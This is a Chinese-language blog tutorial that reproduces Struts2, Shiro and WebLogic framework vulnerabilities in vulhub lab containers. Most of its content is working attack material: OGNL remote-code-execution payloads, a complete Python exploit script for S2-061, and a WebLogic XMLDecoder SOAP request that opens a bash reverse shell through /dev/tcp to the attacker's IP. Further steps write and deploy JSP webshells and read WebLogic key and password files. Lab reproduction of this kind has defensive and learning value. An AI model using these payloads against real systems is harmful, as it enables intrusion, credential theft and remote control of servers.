vulhub靶场框架漏洞复现手册(strusts2\shiro\weblogic)附工具链接

前言

工具+手工复现vulhub靶场下的框架漏洞,包括struts2远程代码执行(2-029,s2-061,s2-001),shiro反序列化漏洞(CVE-2016-4437),weblogic反序列化漏洞(CVE-2017-10271,CVE-2018-2628,CVE-2018-2894,CVE-2020-14882,ssrf,weak-password)。持续更新中...


一、struts2远程代码执行

漏洞介绍:Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站

漏洞特征:

1. 查看被测应用系统的源码,URL接口地址以 “.action” “.do” 结尾或地址中包含“!”符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-

2.*.**.jar或xwork-core-2.*.**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。

s2-029

1. 拉取漏洞环境镜像

docker pull medicean/vulapps:s_struts2_s2-029

 

2. 启动漏洞环境

docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029

3. 测试靶场

访问kali ip:8080,出现如下代表靶场搭建成功

4. 使用工具利用漏洞

        (1)Liqun验证

 验证结果:存在漏洞

 命令执行

工具链接:https://pan.baidu.com/s/1aLIAJkEUlv-6lsuCO9lEZw 
提取码:8lk3

        (2) Strusts2_Test工具

命令执行

工具链接:https://pan.baidu.com/s/1tsP2yPeX-QtKHAmuD1ITSA 
提取码:8lk3

        (3) Strusts2漏洞检查工具

 

命令执行

工具链接:https://pan.baidu.com/s/1ffOoxKGnuTXp7-Mvbu__2Q 
提取码:8lk3

 5. 手工利用漏洞

        (1) 刷新页面抓包,发送到repeater。如果url的位置只有ip:8080,就手动在后面添加/default.action?message=。之后在message=后拼接poc

#POC
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream()))

 

返回包爆出了用户权限

s2-061

 1. 进入vulhub目录用docker拉取镜像启动环境。如果没有启动成功是因为上一个开启的靶场占用了8080端口。重启一下docker就行。

重启docker命令:systemctl restart docker
开启环境命令:docker-compose up -d

2. 访问靶场

http://kali ip:8080

3.验证漏洞

发现使用工具验证不到漏洞存在,所以按照教程手工验证

        (1) 在url后面拼接一条简单语句进行测试

        ?id=%{ 'test' + (2000 + 20).toString()} 

查看页面源码发现被执行了,漏洞是存在的

4. 漏洞利用

        (1) 方法一:使用python脚本利用漏洞

                ① Struts2-061.py

#struts2-061.py
#encoding=utf-8
import requests
import sys
from lxml import etree


def exp(url, cmd):
    payload = "%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27" + cmd + "%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"
    tturl = url + "/?id=" + payload
    r = requests.get(tturl)
    page = r.text
    #   etree=html.etree
    page = etree.HTML(page)
    data = page.xpath('//a[@id]/@id')
    print(data[0])


if __name__ == '__main__':
    print('+------------------------------------------------------------+')
    print('+ EXP: python struts2-061-poc.py http://1.1.1.1:8081 id      +')
    print('+ VER: Struts 2.0.0-2.5.25                                   +')
    print('+------------------------------------------------------------+')
    print('+ S2-061 RCE && CVE-2020-17530                               +')
    print('+------------------------------------------------------------+')
    if len(sys.argv) != 3:
        print("[+]ussage: http://ip:port command")
        print("[+]============================================================")
        sys.exit()
    url = sys.argv[1]
    cmd = sys.argv[2]
exp(url, cmd)

                ② 在脚本目录打开cmd,运行脚本

python struts2-061.py url cmd

脚本链接:https://pan.baidu.com/s/1InbHliCX07UKcayWlIKwbA 
提取码:8lk3

        (2) 方法二:在url上构造payload

                ① payload

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27id%27}).(%23res%3d%23exec.exec(%23cmd))}

                 ② 查看页面源代码发现命令被执行了

s2-001

  1. 启动环境 docker-compose up -d
  2. 访问靶场,验证是否存在代码执行。输入代码%{123},返回的是参数值123,说明漏洞存在。

        3. 构造poc,填到password框

(1)Tomcat执行语句

Poc:%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

 (2) 获取web路径

Poc:

%{

#req=@org.apache.struts2.ServletActionContext@getRequest(),

#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),

#response.println(#req.getRealPath("/")),

#response.flush(),

#response.close()

}

(3) 查看权限 

Poc:
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

(4) 在执行任意命令时只需要将上面poc的whoami替换

二、shiro反序列化漏洞

CVE-2016-4437

1. 开启靶场

进入到靶场目录下使用命令:docker-compose up -d --build

如果添加了--build参数出错(如下)的话就把它删掉。猜测只有第一次开启这个靶场的时候才需要--build,已经开过就不用--build参数

出现done则说明靶场开启成功

 

2. 测试靶场

 在win10火狐输入kalli ip+8080测试靶场是否开启成功

3. 查看返回包验证是否存在shiro漏洞

使用admin/vulhub登录,勾选remember me,抓包。发送到repeater,查看回显包有无remember=deleteme字段。如果有则存在shiro漏洞

 

4. 用工具检验漏洞

工具:liqun

 

5. 反弹shell

        (1) 在kali新开一个终端监听端口。命令:nc -lvvp 端口号

 

        (2) 使用工具反弹shell

 

        (3) 在终端执行命令

        (4) 在工具执行命令 

 

总结:想尝试使用centOS7来监听端口接收反弹的shell,但是工具里面显示执行成功centOS7的终端一直接收不到反弹的shell。所以还是用kali方便~

 

三、weblogic反序列化漏洞

tips:weblogic常用端口是7001

weak_password

1. 进入viulhub目录开启漏洞环境

#cd vulhub/welogic/weak_password
#docker-compode up -d

2. 查看端口映射信息,发现映射到了7001

docker ps

3. 访问靶场

http://kali ip:7001

4. 使用工具检测漏洞

        (1) liqun

        (2) java反序列化漏洞利用工具

 

工具链接:https://pan.baidu.com/s/1Q38EAa47qRHCEXMlYAtUtg 
提取码:8lk3

5. 手工利用漏洞

        (1) 访问/console/login/LoginForm.jsp

转到后台登录页面

        (2) 获取用户和密码的加密密钥和密文

        (3) 获取密钥

weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml。储存密钥的文件:SerializedSystemIni.dat

访问:http://ip:7001//hello/file.jsp?path=security/SerializedSystemIni.dat 抓包重发,返回包中的一串乱码就是密钥。

         (4) 将密钥保存为一个.bat文件便于后续解密 

 

        (5) 获取密文

访问http://ip:7001/hello/file.jsp?path=config/config.xml,其中的<node-manager-password-encrypted> 的值,即为加密后的管理员密码

 

        (6) 只用工具解密

工具链接:https://pan.baidu.com/s/1Wf6FXgfMjmWo_bTqQ1D5eQ 
提取码:8lk3

 添加密钥文件时最好使用工具包里的weblogic\Weblogic\SerializedSystemIni.dat文件。用自己保存的那个会出现错误不知道为啥。

 

         (7)weblogic常用的用户名/密码

6. 后台文件上传

        (1) 用刚刚解密出来的用户名和密码登录系统

        (2) 上传路径:域结构-部署-安装-上 传文件

        (3) 将jsp木马文件压缩。(冰蝎文件夹下面有各个语言的一句话木马)

压缩为war文件的命令:jar -cvf shell.war shell.jsp

因为war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。war包放置到web目录下之后,可以自动解压,就相当于发布了简单来说,war包是JavaWeb程序打的包,war包里面包括写的代码编译成的class文件,依赖的包,配置文件,所有的网站页面,包括htmljsp等等。

 

 

(4)部署完成

 

CVE- 2017-10271

1. 启动靶场环境

docker-compose up -d 

 

2. 查看docker端口开启情况,发现开启了7001端口

3. 访问靶场路径,kali IP:7001//wls-wsat/CoordinatorPortType11,出现下图说明存在漏洞

 

4. 用攻击机端口21开启监听

刚开始使用win10作为监听机,但是无法监听到内容。换成kali就行。因为靶场和kali相当于处于同一个内网,物理机是作为外网的存在,所以win10无法直接监听到内网的端口。

5. 使用bp向靶机发送如下post请求

POC:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 靶机ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 637

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/攻击机ip/监听端口 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

 

6. 发送POC结果

成功接收到反弹shell

简单命令执行:

7. 尝试 写一句话木马,将poc拼接到之前的post请求下

POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
     <soapenv:Header>
     <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
     <java><java version="1.4.0" class="java.beans.XMLDecoder">
     <object class="java.io.PrintWriter">      <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
     <void method="println"><string>
     <![CDATA[
 <% out.print("test"); %>
     ]]>
     </string>
     </void>
     <void method="close"/>
     </object></java></java>
     </work:WorkContext>
     </soapenv:Header>
     <soapenv:Body/>
</soapenv:Envelope>

 

8. 访问靶场ip: 7001//bea_wls_internal/test.jsp,写入成功


总结

持续更新中...

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

WeiYweiy

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值